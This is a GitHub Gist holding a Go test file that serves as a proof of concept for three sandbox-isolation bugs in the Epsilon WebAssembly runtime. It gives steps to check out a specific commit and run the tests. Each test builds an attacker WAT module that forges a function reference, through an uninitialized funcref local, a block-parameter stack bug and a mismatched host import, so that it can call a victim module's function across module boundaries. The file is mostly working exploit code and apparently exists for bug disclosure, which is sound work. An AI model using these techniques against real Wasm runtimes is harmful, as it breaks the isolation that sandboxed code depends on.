Skip to content

Instantly share code, notes, and snippets.

@ziggy42
Created May 17, 2026 21:00
Show Gist options
  • Select an option

  • Save ziggy42/75c3fddb5cdd77fbf051e36eb2a350b8 to your computer and use it in GitHub Desktop.

Select an option

Save ziggy42/75c3fddb5cdd77fbf051e36eb2a350b8 to your computer and use it in GitHub Desktop.
Epsilon Repro
// How to run this PoC:
// 1. git clone https://github.com/ziggy42/epsilon
// 2. cd epsilon
// 3. git checkout 80b403a
// 4. Save this file as epsilon/repro_test.go
// 5. go test -v ./epsilon -run TestExploit
package epsilon
import (
"bytes"
"testing"
"github.com/ziggy42/epsilon/internal/wabt"
)
// The victim module remains the same for all exploits: it defines a secret
// function at index 0 in the global store.
const victimWat = `(module
(func (result i32) i32.const 1337)
)`
func setupVictim(t *testing.T, runtime *Runtime) {
victimWasm, err := wabt.Wat2Wasm(victimWat)
if err != nil {
t.Fatalf("Failed to convert victim WAT: %v", err)
}
_, err = runtime.InstantiateModule(bytes.NewReader(victimWasm))
if err != nil {
t.Fatalf("Failed to instantiate victim: %v", err)
}
}
// 1. Zero Is Not Null
func TestExploit1(t *testing.T) {
attackerWat := `(module
(type $t (func (result i32)))
(table 1 funcref)
(func (export "exploit") (result i32)
(local $f funcref) ;; uninitialized funcref
i32.const 0 ;; index into table
local.get $f ;; will be 0 on vulnerable versions
table.set 0 ;; store in table slot 0
i32.const 0 ;; index for call_indirect
call_indirect (type $t) ;; fetch from table and call
)
)`
wasm, _ := wabt.Wat2Wasm(attackerWat)
runtime := NewRuntime()
setupVictim(t, runtime)
instance, _ := runtime.InstantiateModule(bytes.NewReader(wasm))
res, err := instance.Invoke("exploit")
if err != nil {
t.Fatalf("Exploit failed: %v", err)
}
if len(res) > 0 && res[0].(int32) == 1337 {
t.Logf("BUG 1 SUCCESSFUL! Returned 1337")
} else {
t.Errorf("Bug 1 failed, returned %v", res)
}
}
// 2. The Phantom Block Parameter
func TestExploit2(t *testing.T) {
attackerWat := `(module
(type $t (func (result i32)))
(table 1 funcref)
(func (export "exploit") (result i32)
(local $f funcref)
ref.null func
i32.const 0 ;; index of secret function
(block (param i32)
drop
) ;; VM bug: resurrects 0 on stack
local.set $f ;; stores 0 in $f
local.get $f
ref.is_null ;; VM sees 0 (not null)
if (result i32)
i32.const 42
else
i32.const 0
local.get $f
table.set 0
i32.const 0
call_indirect (type $t)
end
)
)`
wasm, _ := wabt.Wat2Wasm(attackerWat)
runtime := NewRuntime()
setupVictim(t, runtime)
instance, _ := runtime.InstantiateModule(bytes.NewReader(wasm))
res, err := instance.Invoke("exploit")
if err != nil {
t.Fatalf("Exploit failed: %v", err)
}
if len(res) > 0 && res[0].(int32) == 1337 {
t.Logf("BUG 2 SUCCESSFUL! Returned 1337")
} else {
t.Errorf("Bug 2 failed, returned %v", res)
}
}
// 3. The Ghost in the Stack
func TestExploit3(t *testing.T) {
attackerWat := `(module
(type $t (func (result i32)))
(import "env" "leak" (func $leak (result funcref)))
(table 1 funcref)
(func (export "exploit") (result i32)
i32.const 0 ;; table index
i32.const 0 ;; value to leak (store index 0)
call $leak ;; promised funcref. VM has [0, 0].
table.set 0 ;; VM pops 0 then 0.
i32.const 0
call_indirect (type $t)
return
)
)`
wasm, _ := wabt.Wat2Wasm(attackerWat)
runtime := NewRuntime()
setupVictim(t, runtime)
imports := map[string]map[string]any{
"env": {
"leak": func(m *ModuleInstance, args ...any) []any {
return []any{}
},
},
}
instance, _ := runtime.InstantiateModuleWithImports(bytes.NewReader(wasm), imports)
res, err := instance.Invoke("exploit")
if err != nil {
t.Fatalf("Exploit failed: %v", err)
}
if len(res) > 0 && res[0].(int32) == 1337 {
t.Logf("BUG 3 SUCCESSFUL! Returned 1337")
} else {
t.Errorf("Bug 3 failed, returned %v", res)
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment